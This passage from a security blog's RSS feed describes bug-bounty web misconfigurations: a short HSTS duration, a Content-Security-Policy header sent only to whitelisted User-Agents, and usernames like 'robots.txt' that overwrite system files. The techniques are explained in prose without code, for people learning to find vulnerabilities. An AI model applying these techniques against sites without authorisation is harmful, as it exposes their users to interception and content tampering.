<p>This response will redirect the user to the website HTTPS-version to prevent a man-in-the-middle attack. But… an intruder can start the data capture earlier, after having replaced the server response for the user not to be redirected to any other site. To prevent such situation, the Strict-Transport-Security header is used in the server response. It reports to the browser not to visit this resource through HTTP anymore, but to use HTTPS, and indicates the action time of this rule (to enter only through HTTPS) for this website. Let’s imagine: a user comes to a website from potentially risk free environment for the first time (e.g., from home computer), the server response has been captured, and Strict-Transport-Security header has been removed by the intruder. Then, the user comes to the website again, but from an insecure environment, e.g., a cyber cafe, where nobody “cuts out” the headers, and the user can safely get in the website. So, let’s turn back to Bug Bounty. There was a resource with incorrect settings — a header used to be sent when redirecting from HTTP to HTTPS. But the duration of this rule was relatively short — 180 days. By the way, it should be noted that there is a pre-shared list of the websites which can be visited only through HTTPS (HSTS preload list) — goo.gl/KxrNtl.</p>
<p><a href="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_csp.png"><img class="aligncenter size-full wp-image-102" src="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_csp.png" alt="impact_csp" width="795" height="178" srcset="https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_csp.png 795w, https://blog.sergeybelove.ru/wp-content/uploads/2015/10/impact_csp-300x67.png 300w" sizes="(max-width: 795px) 100vw, 795px" /></a></p>
<h1 id="misconfiguration-content-security-policy-both-exists-and-doesnt-exist">Misconfiguration — Content-Security-Policy — both exists and doesn’t exist</h1>
<p>Vulnerability: web-application determines the Content Security Policy sharing rules incorrectly.</p>
<p>Content Security Policy (CSP) header is rather well known and becomes more and more popular. It’s transmitted through the web-server response and reports to the browser which content can be downloaded and from where (images and so on). Mainly it’s meant for protection from XSS-attacks consequences, and the mentioned sniffer cannot be embedded from your own website anymore (in case of correct CSP rules). But the point is that not all the browsers support it, and sometimes the developers take a decision not to send the header to the client if his/her browser doesn’t support CSP. So the developers define the white list of browsers (in fact — a list of the UserAgent fields) which can receive the header. As a result, we have the following problems:</p>
<ul>
<li>a response without the CSP-header can be cached by the client side (e.g., on proxy-server). Though it can be done by the server side as well, somewhere on intermediate cache-servers. As a result, this response (without CSP) can be given to a user whose browser supports CSP;</li>
<li>more and more Chromium fork browsers are being created where users can put their own UA not included into the white list for obvious reasons.</li>
</ul>
<p>As you see, these situations may lead to the case from the headline — CSP both exists and doesn’t exist, even for those who support it. On HackerOne somebody was even rewarded for that kind of staff, but everybody thinks the same. Facebook, for example, has some troubles: they work with the very white lists and don’t send CSP to everyone (only to Chrome starting from X version, FF starting from Y version, but not between A1 and B1), because having such a large amount of users (like Facebook has), one should think about compatibility (some FF versions have troubles with this issue); so, if you don’t send the header, you don’t lose the users. They plan to eliminate this rule in the future.</p>
<h1 id="web-application-misconfiguration-insecure-username">Web Application Misconfiguration — insecure %username%</h1>
<p>Vulnerability lies in incorrect design of an application, the functionality of which allows an intruder to replace the content of the system files in the application web-directory.</p>
<p>URL for a personal profile access is generated differently depending on the website. Mostly it’s something like /users/username/, but sometimes the domain is followed by a username, e.g., http://example.com/username. Let’s go deeper and assume that dots in the username are allowed… So, we can register a user with an unusual name, like robots.txt and, perhaps, replace the web crawlers file content enabling them to index what they shouldn’t index! It’s not far to seek for example, you should remember SMS leak from the website of MegaFon. Moreover, many similar situations can happen.</p>
<h1 id="conclusions">Conclusions</h1>
<p>As you can see, there are many different ways to use a secure, from the first sight, bug. Much depends on one’s understanding, experience, usage environment, and imagination :). I recommend to keep an eye on different hackerone.com bugs, because after closing, many vulnerabilities become publicized. You can also read about the full paths leaks through CSS-files, absence of SPF-record in domain and, consequently, about the possibility to spoof the sent e-mails (cause SMPT enables to spoof the talker address “under standard”), and about many other equally interesting and a bit weird things :). Happy bughunting!</p>
<p>The post <a rel="nofollow" href="https://blog.sergeybelove.ru/2014/12/let-us-see-the-impact/">Let us see the Impact!</a> appeared first on <a rel="nofollow" href="https://blog.sergeybelove.ru">@sergeybelove</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.sergeybelove.ru/2014/12/let-us-see-the-impact/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
